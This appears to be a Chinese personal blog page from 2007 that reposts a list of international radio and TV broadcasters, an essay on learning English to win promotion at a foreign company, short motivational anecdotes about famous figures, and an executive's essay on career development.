CHIN Radio/ TV International
星岛CHIN电台 (多伦多)
Citytv (CP24)
加拿大中文电台
汇声广播.华侨之声
Newfoundland Television (NTV)
Ontario Television (ONTV) (CHCH - Hamilton)
Pacifica Radio
Radio Canada International (RCI)
Societe de Radio-Television du Canada (SRC)
The Canadian Radio-Television and Telecommunications Commission (CRTC)
(CCBC) 多伦多美加华语
Vancouver Television (VTV)
WETV (Canada)
Ausralia Network TEN
Australian Broadcasting Authority (ABA)
Australian Broadcasting Corporation (ABC)
Community Broadcasting Association of Australia (CBAA)
Nine Network Australia Limited (NNA)
Prime Television Limited
Radio Australia
Seven Network (Digital TV)
(SBS) 澳洲电台特别广播服务

British Broadcasting Corporation (BBC)
BBC World Service
British Forces Broadcasting Service (BFBS)
British Forces Broadcasting Service (The Services Sound & Vision Corp. -- SSVC)
Broadcasting Standards Commission (BSC)
BskyB Corporate
Channel 5
Channel Four Television Corporation
Commonwealth Broadcasting Association (CBA)
Independent Television Commission (ITC)
ITV
London Radio Service
London's International Station
S4C (Sianel Pedwar Cymru - Channel 4 Wales)
Talksport
The Radio Authority
Ulster Television Plc (UTV) (Belfast)
Virgin1215




[推荐]44个在线网络电台收听平台

国外电视台 国内电视台
英国BBC 新闻 美国Discovery 探索频道 CCTV 新闻频道 CCTV 4 (国际台)
美国网络直播 MTV 财经电视 欧洲台 CCTV 9 (英语台)
C-Span电视台 美国ABC电视台
国外电台 国内电台
英国BBC 电台 美国之音电台 中央电台一套 中央电台二套
联合国电台 美国CNN电台 中央电台四套(都市之声) 中央电台五套
中央电台六套 CRI 英语新闻中心
CRI 学英语 北京外语广播
音乐 电台
中央电台三套(音乐之声) 中国国际音乐台 北京音乐台 美国古典音乐台
长沙音乐频道 江苏音乐台 新疆音乐台 西安音乐台
广州电台金曲频道 南京音乐台 厦广音乐台 湖北电台音乐频道
宁波人民广播电台交通音乐频道 深圳音乐台 新城娱乐电台(粤语) 银河流行音乐台
经典音乐台 山东广播文艺频道 英国BBC 音乐站 猫扑音乐网络电台
大连音乐台 四川岷江音乐台 中国音乐网络电台




美国英语电台

美国Bloomberg.com在线电视(财经) [收看地址二] [网站]
美国C-SPAN1电视台 [地址二] [C-SPAN简介]
美国C-SPAN2
美国C-SPAN3
美国FOX News Channel [网站]
美国HBO电视台
TBN Live! [地址二] [地址三]
discovery美国探索频道
美国宇航局(NASA)
华盛顿13台
美国JCTV
美国草莓电视
美国CN8体育台
美国杨百翰大学BYU电视
美国华盛顿大学台
World Harvest TV [地址二]
美国音乐台
美国EWTN天主教台
英国WAMTV
BBC 英国广播公司卫星电视 [网站]
澳大利亚ABC綜合台卫星电视直播
加拿大CTV News [网站]
加拿大CPAC电视

[em05]




http://www.veryabc.cn/


http://www.ivyonline.info/tv/


posted @ 2007-03-05 09:50 MEYE 阅读(759) | 评论 (0)编辑 收藏
[转载]外企升职与英语学习感悟及经验

回顾自己在外企打拼的这几年,除了在外资企业工作的压力之外,更大的障碍是语言的交流问题。前两天和朋友喝咖啡聊天时,说到这几年的奋斗历程,特别是英语学习的问题,心升感慨,一路走来也是有着痛苦的挣扎与收获的喜悦,愿意在此与朋友分享我的一些经验,并一起交流学习共同进步。
也许是因为运气,也许是还有点实力,进入这个不错的外企好像没有遇到太大的困难,两轮面试后就顺利地进入了。我是做市场工作,平时除了公司内部的报表需要英文外,其他地方好像也没有什么用到英文地方。这对英文能力一般的我来说,暗暗窃喜!可是工作一年后我完全改变了我的想法,看着同事们的经历,看着我的老板的升职过程,我感觉到,对于一个有抱负的年轻人,有真正实用的外语,真是太重要了。英语一般,甚至不懂英语,只要有工作的能力,在外企中就能够生存,而且,也会有不错的收入,但.....永远别想升职!在遇到公司财政问题时,也最容易被解聘!My God! 为什么呢!关键就是沟通,用一个新的名词就是内部关系营销。员工与老板的关系,与销售代表与客户的关系一样,沟通与感情交流是最核心的部分。能进入这个企业,个个是人精,谁都不差。那么,获得升职的关键就是如何让老板看到你的实力。
而这个实力,是分为硬指标和软实力两部分。硬指标很容易表现,成交多少业绩,市场增长率多少,客户满意度如何,这些在成熟的企业中都有很好的统计模型可以评估出来,而软实力就能难量化,他表现在领导力,价值观,性格等多方面。而这正是是否能得到升迁的核心要素。而这些要素只有通过不断的沟通与交往,才能被老板发现。可不幸的是,外企中具备这样掌管升职的老板们大都是总部派来的。对中文的能力可以看作零。而要能博得他们的好感,看来,一句Hello,Welcome to China.是远远不够的。
至此,我坚定了我学习英文,提高实用英语能力的信念。
那么,怎么学英语,学什么样的英语最有用?我不在是学生了,也不打算出国,因此,我学习的主线,就是为交流而学习,而非为考试而学习。这个交流既包括语言上的交流,也包括文化上的交流。因此,以下三点就成为我的学习核心:
1,增大词汇量,而且是最新的词汇,同时代同步的词汇。
2,习惯真正的美国人是怎么说英语,而不是我们的Chinese English。
3,真正从美国人的工作生活的角度去学习,关注他们感兴趣的话题。
公司中一个关系很好的前辈,给了我很大的帮助,帮我理清了学习的步骤,并提供了很好的学习的工具,下面我就同大家分享这些:
在学习步骤上,首先要提高阅读的能力,这是说和写的基础,也是了解对方文化的窗口。其优先顺序是阅读--〉说 ——〉写。
提高阅读能力,有个很好的工具,大家可以去访问 http://www.englishreading.info 这个网站,这是位于美国的英语教师联合会推出的一个帮助全世界的英语学习者提高英语阅读能力,和了解当今美国的一个网站。这个网站把各行业,各种生活进行了分类,如健康类,管理类,运动类等等约10个大分类,和140多个小分类。每个分类里面都有数百篇同主题相关的经典文章,实时更新的最新相关话题。通过每天阅读一到二篇里面的文章,不但可以提供英文的阅读能力,掌握最新的词汇等,还能找到很多与老板沟通的话题,甚至在写报告需要找素材都可以使用,同时在阅读的时候也要做个有心人,对于一些出现频率很大的词语或词组我都会把它记在一个小本子里,随身携带,没事的时候就拿出来翻翻,日积月累掌握了很多高频率使用的词汇。
说说听的问题。现在网络资源那么丰富,又都是可以免费下载的,通过下载BBC或VOA可以培养一点那种语境。其实以我的水平完全听懂里面的对话或访谈还是有困难的,但我依然会坚持下载下来听,每天上班的路上都坚持听听,听不懂,但培养的是那种感觉,在英语环境下生活的感觉,也听发音,我刚开始是不听内容的,就听发音,在一篇文章里找我能认识并听懂的单词,长期下来也会纠正自己的读音,而且有时会有惊喜,那就是经常听,是会发现有听懂的片段的。这样就会对自己是个鼓励。长期下来对自己发音的语音语调也是有帮助的。
有了阅读的基础,那么说就相对容易了,只要自己敢讲,不要害怕,能力会提高很快。通过在上面的englishreading网站上找些同生活相关的话题,同你的老板聊天,不但增进感情,增加通过,把老板变为朋友,还多了个英语陪练。哈哈,还是陪练给你发工资哟!并且要多找机会练习,有时我看到一个东西,或想到一句话,就会思考用什么英语怎么说。另外,看英文的原声电影或电视,然后跟着里面的台词跟着主人公大声地说出来,也是种很好的办法。我的爱好就是给《成长的烦恼》中的Jeson配音。我当时很喜欢这部电视剧,很美国的生活,我也非常喜欢里面的角色,我就和朋友分角色进行配音。
再谈谈写。如果要写一些英文的话,多半是发邮件时用到,那些专业的商业文书的翻译或写作有专门的助理来处理的。对于写作,我首先会参照老外发给我的邮件,模仿他的提头和结尾,而中间的内容,大部分是和产品的专业词语有关,这里也不好和大家多说,当然多练习是个方法,同时参考一些范文,做些修改也是个捷径\\
亲爱的朋友们,学好真正有用的英语,百万年薪不是梦!友情提醒:可千万不要因为学习英文而忽略了本职工作的能力提高。
英文是美丽的容貌,婀娜的身材,清澈的双眸,性感的小嘴;而工作的能力是女人的身体,是一切美丽外表的基础。千万不要因为学习英文而忽略了工作能力的提高哟。
对了,再给大家提供一个非常好的学习英文的工具。 http://www.learnenglishonline.org ,这个网站收集了全球主要英语学习网站,还有很多学习经验,甚至有全球英语笔友的资料,照片,能认识很多同样学习英语的帅哥美女哟!
posted @ 2007-03-05 09:22 MEYE 阅读(374) | 评论 (0)编辑 收藏
http://www.kaifulee.com/modules/mediawiki/index.php/%E9%A6%96%E9%A1%B5

http://www.kaifulee.com/modules/bbs/

经典启智故事


内容精简编辑: Diane Li
日期: 2/20/2005


  目标的牵引力

  1984年,在东京国际马拉松邀请赛中,名不见经传的日本选手山田本一出人意外地夺得了世界冠军。当记者问他凭什么取得如此惊人的成绩时,他说了这么一句话:凭智慧战胜对手。

  当时许多人都认为这个偶然跑到前面的矮小子选手是在故弄玄虚。马拉松赛是体力和耐力的运动,只要身体素质好又有耐性就有望夺冠,爆发力和速度都还在其次,说用智慧取胜确实有点勉强。
两年后,意大利国际马拉松邀请赛在意大利北部城市米兰举行,山田本一代表日本参加比赛。这一次,他又获得了世界冠军。记者又请他谈谈经验。

  山田本一性情木讷,不善言谈,回答的仍是上次那句话:每次比赛之前,我都要乘车把比赛的线路仔细标志是银行;第二个标志是一棵大树;第三个标志是一座红房子……这样一直画到赛程的终点。比赛开始后,我就以百米的速度奋力地向第一个目标冲去,等到达第一个目标后,我又以同样的速度向第二个目标冲去。 40多公里的赛程,就被我分解成这么几个小目标轻松地跑完了。起初,我并不懂这样的道理,我把我的目标定在40多公里外终点线上的那面旗帜上,结果我跑到十几公里时就疲惫不堪了,我被前面那段遥远的路程给吓倒了。

  有多少下属

  二战结束后不久,欧洲盟军总司令艾森豪威尔出任哥伦比亚大学校长。副校长安排他听听有关部门汇报,考虑到系主任一级人员太多,只安排会见各学院的院长及相关学科的联合部主任,每天见两三位,每位谈半个钟头。

  在听了十几位先生的汇报后,艾森豪威尔把副校长找来,不耐烦地问他总共要听多少人的汇报,回答说共有63位。艾氏大惊:“天啊,太多了!先生,你知道我从前 做盟军总司令,那是人类有史以来最庞大的一支军队,而我只需接见三位直接指挥的将军,他们的手下我完全不用过问,更不需接见。想不到,做一个大学的校长, 竟要接见63位主要的首长。他们谈的,我大部分不懂得,又不能不细心地听他们说下去,这实在是糟蹋了他们宝贵的时间,对学校也没有好处。你订的那日程表, 是不是可以取消了呢?”

  艾氏后来又当选美国总统。一次,他正在打高尔夫球,白宫送来急件要他批示,总统助理事先拟定了“赞成”与“否定”两个批 示,只待他挑一个签名即可。谁知艾氏一时不能决定,便在两个批示后各签了个名,说道:“请狄克(即副总统尼克松)帮我批一个吧。”然后,若无其事地去打球 了。

  两个伟人

  曾任美国通用汽车公司总经理的斯隆被西方管理学界誉为“现代化组织的天才”。杜拉克则是美国著名的管理学者。
  
  1944年,斯隆聘请杜拉克担任通用的管理政策顾问。二人见面时,斯隆说了这样一番话: “我 不知道我要你研究些什么,要你写什么,也不知道该得出什么样的结果。这些都该是你的任务。我唯一的要求,只是希望你把你认为正确的东西写下来。你不必顾虑 我们的反应,也不必怕我们不同意。尤其重要的是,你不必为了使你的建议易为我们接受而想到调和折衷。在我的公司里,人人都会调和折衷,不必劳你的驾。你当 然也可以搞调和折衷,但你必须先告诉我们,‘正确’的是什么,我们才能做出正确的调和折衷。”

  管理学家们认为,通用何以能成为通用,斯隆何以被称为“组织天才”,这段话都传达出了重要信息。

  己所不欲,勿施于人

  罗斯福当海军助理部长时,有一天一位好友来访。谈话间朋友问及海军在加勒比海某岛建立基地的事。

  “我只要你告诉我,”他的朋友说,“我所听到的有关基地的传闻是否确有其事。”

  这位朋友要打听的事在当时是不便公开的,但既是好朋友相求,那如何拒绝是好呢?

  只见罗斯福望了望四周,然后压低嗓子向朋友问道:“你能对不便外传的事情保密吗?”

  “能。”好友急切地回答。

  “那么,”罗斯福微笑着说:“我也能。”

  如何当领导者

  有一回,日本歌舞伎大师勘弥扮演一位徒步旅行的百姓,正当他要上场时,一个门生提醒他说:“师傅,您的草鞋带子松了。”
他回答了一声:“谢谢你呀。”然后立刻蹲下,系紧了鞋带。

  当他走到门生看不到的舞台入口处时,却又蹲下,把刚才系紧的带子复又弄松。

  显然他的目的是,以草鞋的带子都已松垮,试图表现这个百姓长途旅行的疲态。演戏细腻到这样,这位大师确有过人之处。

  话说回来,正巧那天有位记者到后台采访,看见了这一幕。等演完戏后,记者问勘弥:“你为什么不当时指教学生呢,他不懂得这演戏的真谛呀。”

  勘弥回答说:“别人的亲切关爱与好意必须坦然接受,要教导学生演戏的技能,机会多的是,在今天的场合,最重要的是要以感谢的心去接受别人的提醒,并给予回报。”

  控制情绪

  一天,陆军部长斯坦顿来到林肯那里,气呼呼地对他说一位少将用侮辱的话指责他偏袒一些人。林肯建议斯坦顿写一封内容尖刻的信回敬那家伙。

  “可以狠狠地骂他一顿。”林肯说。

  斯坦顿立刻写了一封措辞强烈的信,然后拿给总结看。

  “对了,对了。”林肯高声叫好,“要的就是这个!好好训他一顿,真写绝了,斯坦顿。”

  但是当斯坦顿把信叠好装进信封里时,林肯却叫住他,问道:“你干什么?”

  “寄出去呀。”斯坦顿有些摸不着头脑了。

  “不要胡闹。”林肯大声说,“这封信不能发,快把它扔到炉子里去。凡是生气时写的信,我都是这么处理的。这封信写得好,写的时候你已经解了气,现在感觉好多了吧,那么就请你把它烧掉,再写第二封信吧。”

  什么是机会

  19世纪中叶,美国加州传来发现金矿的消息。许多人认为这是一个千载难逢的发财机会,纷纷奔赴加州。17岁的小农夫亚默尔也加入了这支庞大的淘金队伍。他同大家一样,历尽千辛万苦,赶到加州。

  淘金梦是美丽的,做这种梦的人很多,而且还有越来越多人的蜂拥而至,一时间加州遍地都是淘金者,金子自然越来越难淘。

  不但金子难淘,而且生活也越来越艰苦。当地气候干燥,水源奇缺,许多不幸的淘金者不但没有圆了致富梦,反而丧身此处。

  小亚默尔经过一段时间的努力,和大多数人一样,没有发现黄金,反而被饥渴折磨得半死。一天,望着水袋中一点点舍不得喝的水,听着周围人对缺水的抱怨,亚默尔忽发奇想:淘金的希望太渺茫了,还不如卖水呢。

  于是亚默尔毅然放弃打金矿的努力,将手中挖金矿的工具变成挖水渠的工具,从远方将河水引入水池,用细沙过滤,成为清凉可口的饮用水。然后将水装进桶里,挑到山谷一壶一壶地卖给找金矿的人。

  当时有人嘲笑亚默尔,说他胸无大志:“千辛万苦地赶到加州,不挖金子发大财,却干起这种蝇头小利的小买卖,这种生意哪儿不能干,何必跑到这里来?”

  亚默尔毫不在意,不为所动,继续卖他的水。哪里有这样的好买卖,把几乎无成本的水出去,哪里有这样好的市场?

  结果,大多淘金者都空手而归,而亚默尔却在很短的时间*卖水赚到6000美元,这在当时是一笔非常可观的财富了。

  打翻的牛奶

  卡耐基的事业刚起步时,在密苏里州举办了一个成年人教育班,并且陆续在各大城市开设了分部。他花了很多钱在广告宣传上,同时房租、日常办公等开销也很大,尽管收入不少,但在过了一段时间后,他发现自己连一分钱都没有赚到。由于财务管理上的欠缺,他的收入竟然刚够支出,一连数月的辛苦劳动竟然没有什么回报。

  卡耐基很是苦恼,不断地抱怨自己的疏忽大意。这种状态持续了很长一段时间,整日里闷闷不乐,神情恍惚,无法将刚开始的事业继续下去。

  最后卡耐基去找中学时的生理老师乔治?约翰逊。

  “不要为打翻的牛奶哭泣。”

  聪明人一点就透,老师的这一句话如同醍醐灌顶,卡耐基的苦恼顿时消失,精神也振作起来。

  “是的,牛奶被打翻了,漏光了,怎么办?是看着被打翻的牛奶哭泣,还是去做点别的。记住,被打翻的牛奶已成事实,不可能被重新装回瓶中,我们唯一能做的,就是找出教训,然后忘掉这些不愉快。”

  这段话,卡耐基经常说给学生,也说给自己。

  爱因斯坦的镜子

  爱因斯坦小时候是个十分贪玩的孩子。他的母亲常常为此忧心忡忡,母亲的再三告诫对他来讲如同耳边风。直到16岁的那年秋天,一天上午,父亲将正要去河边钓鱼的爱因斯坦拦住,并给他讲了一个故事,正是这个故事改变了爱因斯坦的一生。故事是这样的:

  “昨天,”爱因斯坦的父亲说,“我和咱们的邻居杰克大叔去清扫南边工厂的一个大烟囱。那烟囱只有踩着里边的钢筋踏梯才能下去。你杰克大叔在前面,我在后面。我 们抓着扶手,一阶一阶地终于爬上去了。下来时,你杰克大叔依旧走在前面,我还是跟在他的后面。后来,钻出烟囱,我们发现了一个奇怪的事情:你杰克大叔的后 背、脸上全都被烟囱里的烟灰蹭黑了,而我身上竟连一点烟灰也没有。”

  爱因斯坦的父亲继续微笑着说:“我看见你杰克大叔的模样,心想我肯定和他一 样,脸脏得像个小丑,于是我就到附近的小河里去洗了又洗。而你杰克大叔呢,他看见我钻出烟囱时干干净净的,就以为他也和我一样干净呢,于是就只草草洗了洗 手就大模大样上街了。结果,街上的人都笑痛了肚子,还以为你杰克大叔是个疯子呢。”

  爱因斯坦听罢,忍不住和父亲一起大笑起来。父亲笑完了,郑重地对他说,“其实,别人谁也不能做你的镜子,只有自己才是自己的镜子。拿别人做镜子,白痴或许会把自己照成天才的。”

  爱因斯坦听了,顿时满脸愧色。

  爱因斯坦从此离开了那群顽皮的孩子们。他时时用自己做镜子来审视和映照自己,终于映照出了他生命的熠熠光辉。




求职必读:一位国企老总对职业生涯的感悟
转贴

2006.04.12来自:新浪博客 陈广海
http://blog.sina.com.cn/u/1199825415
http://job.csdn.net/n/20060412/89327.html
  一个普通人一身的职业生涯发展有许多的不同,但只要是普通人,其职业生涯发展的历程中就会存在着许多机遇、挫折和成功,如果一个人能较好的把握机遇,不断地积“小成”为“大成”,则最终将成为“成功人士”;反之如果一个人不断的重复犯错误,挫折总是多于成功,则不论你一身遇到过多少机遇,最终将一世无成。
  大多数人都很羡慕“成功人士”,特别是年青人经常会有快速成为被人羡慕的“成功人士”的冲动。由于社会中存在各种诱惑,使许多人希望赚快钱而一夜暴富,尤其是部分成功人士和他们的经历被“神化”,对比之下许多人将不成功的原因归结为“运气”不佳。与消积的等待“运气”的人生观相比,另有一种积极的人生观,积极的人生观认为:普通人的一生都不缺少成功的机遇,绝大多数成功者都是因为他们能够很好的把握有限的几次机遇,不断地获得成功,最终成为成功人士。
  成功的标准也有许多,大多数共识的有三种:具有较多物质财富、具有较高的社会地位和获得较高的学术成就。如果我们都持有积极的人生观,同时也认同成功的标准,我们就可以展开个人职业生涯发展的讨论。
  能力和能力积累
  任何人一生中要做些事,能力是基本条件。构成能力的基本要素是:学识(X)、经验(J)、素质(S),其中素质包括:公正、自制力、深谋远虑、坚忍不拔、与他人沟通及合作等。能力(N)=(X+J)X S,学识、经验、个人素质三者决定了个人工作能力的高低。有学识没经验,或者经验丰富专业知识水平差,或者学识高且经验丰富但个人素质不高,个人工作能力不完整也不会高。
  例如:如果一个学历很高的网络技术研究生,毕业后到信息技术公司工作,第一年他的能力不如一个工作两年以上的中技生职工,因为他不能独立完成简单普通网络的组网工程;第二年他的能力不如一个工作二年两年以上的本科生职工,因为他不能独立完成简单普通网络的设计、调试和故障排除;如果他很努力,第三年他将可能超过任何人,因为他不但能独立完成中技生和本科生能做的所有工作,而且他还可以根据掌握的知识结合工作经验,进行网络建设规划、网络综合管理等等。这个例子说明经验的重要性和知识作为基础的地位。
  又例如:一个学识和经验都比较丰富的通信工程高级工程师,同时也考取了许多项专业工程资质证书,本来在通信工程组织方面应具备较强的能力,但由于在工作缺乏自制力,同时从不重视与人合作工作的重要性,几乎每次工作都因为与他人无法较好地配合而半途而废,多年过去虽然领导给其许多机会,但其工作能力越来越差。这个例子说明个人素质在工作能力方面的决定性作用。
  再例如:一个转业军人在20世纪90年代未岁数已近60岁,数据通信和计算机网络通信知识完全没有,99年某大型企业集团需要在全国沿海组一个集装箱运输计算机管理数据通信网,其中最困难的是各地DDN专线的申请和开通。此人利用自身多年的工作经验和良好的交际能力,边学边干,在几个月内10多个城市专线全部顺利开通。这个例子说明在许多场合学识的高低不是成败的关?,在某些环境下工作能力并不依赖于专业知识的多少。有些人看到这种现象后可能会说学知识没用或作用不大,这种想法的错误的,正确的认识是应该是:在掌握了大量的专业知识后,还需要通过实践积累经验和修练个人素质,否则知识并不能有效地转化成工作能力。
  学识增长和经验丰富是一个不断总结、积累和更新的过程,个人的素质也是需要经过长期的磨练形成。如果一个人时常能查觉自身某些方面的不足,不断地通过学习更新知识;在工作中寻找能提高自身能力机会,善于总结工作中得失,不重复犯同样的错误,每次工作都争取比上次做的更完美;在一次次超越自我的实践中,个人综合素质得到升华,能力才能得到长足的进步。最终其工作能力超越了许多同行,因此而获得较多的机会,为在职业生涯中取得更大的成功奠定了基础。
  在一个岗位工作一段时间后由于知识和经验的积累,个人的能力会有所提高,有些人提高的快些,而有些人可能会慢些。提高快的人原有的岗位不用费太大的力就能把事情办好,其能力开始超过本岗位的需求,能力开始出现了积累。这第一类型的积累对于个人今后的职业生涯发展是基础和原动力。
  贡献和贡献积累
  对于职业生涯发展中体现一个人价值的除了个人的工作能力外,还有个人对单位和社会的贡献。一个人自身能力具备后,还需要对工作的环境有良好的适应性,另外更重要的是把握住每次机会取得成功和创造业绩,所以贡献G=环境适应(系数β)X能力(N)X机遇(E)。
  毛泽东同志说:一个人能力有大小,但只要有这种精神就是一个高尚的人,一个纯粹的人,一个脱离了低级趣味的人,一个有利于人民的人……。我理解就是指一个高尚的人需要通过做贡献证明自身的价值。有些人把为单位、为社会做贡献作为谋生迫不得已,因此每做一件事就一定要立即取得相应的回报,如果回报比心里预期的高就觉得占了便宜,否则就认为吃亏了心里不愉快,下次我少干点活攒回来,或者通过某些不正当的手段获取一些利益,以求得到内心的满足。另有一些人对待人生持积极向上的态度,珍惜每次做贡献的机会,不太计较当次或短期的回报,从不埋怨回报太少,真心将做贡献视作实现人生价值的理想。有了积极的态度,一个人就比较容易适应工作环境,个人的能力也能有效的发挥,工作中的每次机遇也能较好把握住。
  一个人对单位的贡献大多数是隐含,不可能做到每件事都可以用金钱衡量,也不可能每件事都有回报,因此就必然会产生个人对单位贡献积累的情况。许多单位搞年功工资就是承认个人在单位工作期间平时对单位贡献的积累,而且个人一旦调离原单位,这部分积累通常会全部“清零”。贡献的积累不但可以提高年功工资,更重要是体现在工作职务的升迁上。外来干部由于没有本单位的贡献积累,所以把这部分人称为“空降”干部,本单位内在干部提升中除了考虑能力的差别外,往往还需要论资排辈和讲贡献。
  通过前面的讨论,我们认为一个人对单位和社会的贡献对其个人职业生涯发展是一个不可缺少的重要环节。贡献越大职业生涯发展速度越快,成功的概率也越大。如何能比别人创造更多的贡献显然成了问题的关?,根据前面给出的关系式:G=环境适应(系数β)X能力(N)X机遇(E),我们下面要讨论环境适应系数(β)和机遇(E)。当代任何人均在某种社会环境中生活和工作,而讨论工作的环境适应程度主要是讲对于工作制度、企业文化和人际关系的适应程度。
  例如:某些大学毕业生从四年大学生活的环境中出来,进入到一个企业他对企业工作制度、企业文化和人际关系都完全不熟悉,适应程度很差,更严重的是时常在开始阶段会遇到许多挫折和困难。这时的贡献必然较少,一部分人开始对环境产生厌烦情绪,为自已寻找许多借口争取尽早离开换个环境;也有一部分人虽然也有厌烦情绪,但由于各种因素的限制暂时不能离开,在继续工作中逐步适应了环境,心态也逐步稳定下来,通过单位和社会的贡献自己也开始踏上了职业生涯发展之路。所以就普通人而言,只有个人去适应环境,不可能让环境适应个人,主动适应环境是职业生涯发展重要环节之一。
  又例如:一个学通信专业的大专生,毕业后来到中海电信某单位从事有线通信工作,由于业务规模小几年来业务知识和能力都提高不快。一次偶然的机会中海集团部分船舶需要安装船舶局域网,公司安排分改行从事船舶通信导航设备维修,他十分珍惜这次机会,不但发挥自身计算机基础较好的优势做好船舶局域网安装工程,还抓紧时间学习船舶通信、导航设备维修,仅半年多的时间就掌握了船舶通导设备的基本维修技能。他在工作中珍惜每次上船工作机会,为了抢时间大多数工作时间都在晚上,有时一工作就近十个小时,直到船舶要离港才下船,他所到过的船上的船长和其分船员都十分佩服他的工作精神。每当领导表扬他时,他都会说:感谢领导给他这样的工作机会。
  再例如:某大学研究生留校做讲师,20世纪90年代初到广州找工作进入到一家外资企业,从事计算机网络工程,后担任部门经理。他不断地在市场中寻找机会,工程无论大小都不放弃,96年广州某大厦综合布工程在方案已全部确定的情况,他仍然主动上门耐心地介绍本公司产品的特点,最后用户采用其公司部分的产品和技术。虽然在数百万的工程中只占了10%左右,但通过此次接触在此后工程业务合作中,此人获得了更多的机会,后来自己创办一个网络公司。这个事例告诉人们把握每次机遇的重要性,无论这个机遇大还是小。许多人看不起日常中平凡小事,遇到工作中的困难绕道走,投机取巧,或是工作中心里始终不愉快,时常抱怨怀才不遇。实际上这是一次一次自我放弃了成功的机会,当有一天重要的机会(决定一生命运的机会)到来时知识和能力都没有准备好,自然不会取得成功。
  实际生活中一个人只要把贡献作为生活中必不可少的重要部分,你会感觉到周围人都在帮你,对环境的好坏也不会有太多抱怨,而且把所有的工作都当作职业生涯发展的机遇,努力把握好每一次机遇,不断积累对单位和社会的贡献。反之如果把索取作为唯一人生目标,你会感觉到周围的人都在与你进行争夺利益,每天都在抱怨环境和运气,工作挑来挑去样样觉得不合算,较长时间内对于单位和社会的贡献很少,有时甚至是负数,其结果多数在职业生涯发展中停止不前。
  财富和财富积累
  普通人在职业生涯发展的过程中通过不断的努力,产生了工作能力的积累和贡献的积累,这些积累在一定条件下会转换为物质财富、社会地位(职务),因此就出现了第三类积累??财富的积累。
  市场经济社会中需要通过自身劳动创造财富的人,必然要经历能力积累和贡献积累的两个阶段,这就好比种田要播种、要耕作,盖房子要打地基、要起墙一样,一般情况下个人的财富状况反映了一个人能力积累和贡献积累的综合情况。因为只有这样才能符合公平的社会原则,个人所积累的财富才能被大多数人所认可和接受。
  由于每个人所处的环境不同,各单位的分配制度差异很大,因此在能力和贡献水平基本相同的情况下,如果在较短时间段中考查,往往个人间所获得财富差距会很大。但在20至30年的跨度中去考查,绝大多数人通过劳动获得的财富与其所具有的能力和做出的贡献是相称的,这是由社会的公平原则所决定的。如果违反了这个原则或是出现了较大的偏差,往往就会产生一种无形的力量对其进行纠正和调整。
  例如:有个大学生毕业进入一个某单位后,由于某种非正常的原因,在进入单位一年多的时间里受到上级领导特别照顾,两次外派出国,工作不到两年提升科级干部。在这段时间里其能力和贡献与其所获得的财富显然不相称。在这种情况下其个人并没有意识到自己违反了社会公平的原则,反而在上任初始变本加厉提出配手机、车子、房子等条件,一时群众中一片哗然,当年干部考核结果可想而知。此后每年群众评议均为未位,最后只能离开,结果是什么也没得到。如果他当时能意识到提升科级干部是某种形式上财富的提前透支,并且能通过加快能力提高和多做贡献主动给予补偿,也许群众不久就能接受和认同他。
  又例如:在工作中有些人投机取巧,每做一件事都想少付出多回报;也有一部分人不计较个人的回报,努力工作,这两种人在平时虽然工作业绩和对单位的贡献有明显的差别,往往收入并无大的区别。但实际中存在着某种潜意识,前者是在不断地透支不属于他个人的财富,他的行为不被周围认可,在分配调整、岗位安排上会遇到问题;后者在不断地积累应属于他个人的财富(虽然他并没拿到手),在分配和升职的调整中多数人都会给予认同,因为他拿到本属于他个人的东西。一个优秀的工作者每得到一次荣誉、物质奖励和职务升迁,事实上都是在支取此前能力和贡献的积累,如果过了头也会出现透支现象。如果我们每个干部走上领导岗位时都能主动意识到这个问题,不再把过去的功劳作为本钱,及时加强学习、不断提高工作能力和努力创造新的成绩,就是说少捞一些,多做一些,群众也许很快能认同和接受你。只有这样你的职业生涯才能走得快一些和上得高一些。
  再例如:一些人在一个单位工作不理想,希望换一个单位。换单位较多是一些年青人,因为年青人在一个单位贡献的积累是十分有限的,离开原单位困难和损失都不大。而一些老职员一般不愿轻易离开原单位,除了考虑对新环境和新技能适应力及学习力下降外,最重要的是几乎在原单位多年来所有的贡献全部“清零”,一切都将从头开始。国外一些私人资本家企业,每次裁人的重点是老职员,除了老职员学习力下降工作能力提高不快之外,表面是降低人工成本提高企业竞争力,最重要是减少对于老职工长期贡献的支付压力。多年来我们有一些老职工由于各种原因离开我们这个企业,只要他们在走的时候没损害单位利益,我们就不应该歧视他们,对于他们多年对企业的贡献应表示感谢,因为贡献全部留下给了企业个人是带不走的。年青人过于频繁的换工作单位,不断发生“清零”现象对于个人的职业生涯发展没有益处。
  贡献与索取得到的财富始终是同时存在的,但绝大多数情况下又不可能完全相称,应该用平常心对待每次的贡献和得到的财富,愉快地做好每件事。从不以职务的提升而得意忘形,而是时刻提醒自已:职务提升后能力不够用了,过去贡献的积累也已经没有了(都已兑现为财富),而且此后每次得到的财富也许会超过自已所做贡献的价值;因此,应该理解周围同事特别是上组和下属对自已工作提出的更高要求,鞭策自已努力工作,争取做出新的更大贡献。如果能有这样认识和实践,个人的职业生涯将加速走向新的高度。
  总结
  1、一个人的职业生涯发展历程中,始终客观存在着三类积累,一是个人工作能力的积累,二是个人对于单位和社会贡献的积累,三是个人财富(包括:社会地位和物质财富)的积累。如果财富的积累是个人职业生涯发展的目标,为了实现财富的积累必须具备一定的工作能力,并且通过不同的形式为单位和社会做出贡献,最后在公平的原则下获得企业和社会相应的回报,从而实现财富的积累。
  2、由于能力与贡献之间和贡献与回报之间存在许多不确定的关系,所以有能力并不能说明一定能做出贡献,这还需要具备适当的环境和机遇;同样,有了贡献并不一定马上能得到回报,因此出现了能力的积累和贡献的积累。有积累就会支出,支出大于积累就会出现透支,能力和贡献的积累有利于职业生涯进步和发展,应该始终乐于通过学习保持能力的积累,同时也始终乐于多作贡献保持贡献的积累。
  3、职务的升迁对于个人能力和贡献的积累都是重要的支付形式,由于职务的升迁,社会地位和物质财富都可能同时发生变化;同时也往往会因为职务的升迁,原有的个人能力和贡献的积累往往会出现透支的现象;
  4、由于思想准备不足或没有主动纠正的意识,使个人能力和贡献长期处在透支的状态下,最终将导致个人职业生涯发展的停滞或倒退。
  老子说:圣贤者已经不再使用小计、小谋,而是亲身实践着沉默的理念。他不为控制别人而做事,他不为谋取个人私利而生活。他不求回报而付出,因为他不为自己谋取赞誉,而总是给予他人褒扬。
posted @ 2007-03-04 11:39 MEYE 阅读(484) | 评论 (0)编辑 收藏
华商富豪们的成功哲学

http://www.kaifulee.com/modules/navigation/


文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=69538

  陈钱康:成功的背后是认真  

